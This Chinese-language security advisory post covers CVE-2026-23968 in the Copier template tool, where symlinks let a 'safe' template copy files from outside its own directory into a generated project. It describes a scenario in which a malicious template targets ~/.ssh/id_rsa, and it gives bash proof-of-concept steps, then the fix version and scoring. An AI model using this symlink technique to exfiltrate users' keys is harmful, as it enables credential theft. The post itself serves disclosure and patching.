首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >Copier模板安全漏洞:符号链接可致任意文件系统读取(CVE-2026-23968)

Copier模板安全漏洞:符号链接可致任意文件系统读取(CVE-2026-23968)

原创
作者头像
qife122
发布2026-03-03 12:12:19
发布2026-03-03 12:12:19
90
举报

漏洞概述

CVE-2026-23968 (GHSA-xjhm-gp88-8pfx) 是一个影响 copier Python包的中危漏洞。copier 是一个用于从项目模板生成新项目的工具。

该漏洞的核心问题在于,当 _preserve_symlinks 配置项设置为 false(这也是Copier的默认设置)时,即便是一个所谓的“安全模板”,也可能通过符号链接(symlinks)将本地模板克隆目录之外的任意文件或目录包含到生成的项目中。

技术细节与影响

Copier 工具宣称,从“安全模板”生成项目是安全的。“安全模板”指的是那些不使用自定义 Jinja2 扩展等需要传递 --UNSAFE--trust 标志的不安全特性的模板。

然而,研究发现,一个精心构造的恶意“安全模板”可以突破这一安全假设。

攻击场景

攻击者(恶意模板作者)可以创建一个包含指向受害者机器上已知敏感文件(如 ~/.ssh/id_rsa)的符号链接的模板。当受害者使用Copier从这个模板生成项目时,由于默认配置会解析并跟随这些符号链接,敏感文件的内容会被复制到新生成的项目目录中。

随后,如果受害者将这个无意中包含敏感信息的项目推送到公共代码仓库(如GitHub),攻击者即可窃取这些数据。

可重现的漏洞利用示例

1. 通过符号链接非法包含文件
代码语言:bash
复制
# 1. 创建一个包含敏感信息的文件
echo "s3cr3t" > secret.txt

# 2. 创建一个指向该敏感文件的符号链接
mkdir src/
pushd src/
ln -s ../secret.txt stolen-secret.txt
popd

# 3. 使用 Copier 从包含符号链接的 "src/" 模板生成项目到 "dst/"
uvx copier copy src/ dst/

# 4. 查看生成的项目文件,发现敏感信息已被包含
cat dst/stolen-secret.txt
# 输出: s3cr3t
2. 通过符号链接非法包含目录
代码语言:bash
复制
# 1. 创建一个包含敏感文件的目录
mkdir secrets/
pushd secrets/
echo "s3cr3t" > secret.txt
popd

# 2. 创建一个指向该敏感目录的符号链接
mkdir src/
pushd src/
ln -s ../secrets stolen-secrets
popd

# 3. 使用 Copier 生成项目
uvx copier copy src/ dst/

# 4. 查看生成的项目结构,发现整个敏感目录都被复制过来
tree dst/
# dst/
# └── stolen-secrets
#     └── secret.txt
#
# 1 directory, 1 file

cat dst/stolen-secrets/secret.txt
# 输出: s3cr3t

受影响范围与修复

  • 受影响版本: < 9.11.2
  • 修复版本: 9.11.2
  • 解决方案: 将 copier 升级到 9.11.2 或更高版本。
  • 暂无临时解决方案 (Workarounds): 官方未提供临时规避方案,建议立即更新。

漏洞评分

  • CVSS v4.0 基础分: 6.8 (中度)
    • 攻击向量: 本地 (Local)
    • 攻击复杂度: 低 (Low)
    • 所需权限: 无 (None)
    • 用户交互: 需要 (Passive) - 用户需执行从恶意模板生成项目的操作。
    • 机密性影响 (脆弱系统): 高 (High)
  • EPSS 评分: 0.019% (预测未来30天内被利用的概率较低)

根本原因分析 (CWE)

该漏洞属于 CWE-61: UNIX 符号链接跟随问题。软件在打开文件或目录时,没有充分考虑到该文件可能是一个指向预期控制范围之外目标的符号链接。这使得攻击者能够诱使软件对未经授权的文件进行操作。FINISHED

glyoVzOLZA9nMhz/bDHDAWzfRfZ0dSZtQUalpUyOmxfgxyiNt4S7VmUXCtFannD3ozNx4oGeTp2FUiiei8k5rA==

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞概述
  • 技术细节与影响
    • 攻击场景
    • 可重现的漏洞利用示例
      • 1. 通过符号链接非法包含文件
      • 2. 通过符号链接非法包含目录
  • 受影响范围与修复
  • 漏洞评分
  • 根本原因分析 (CWE)
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档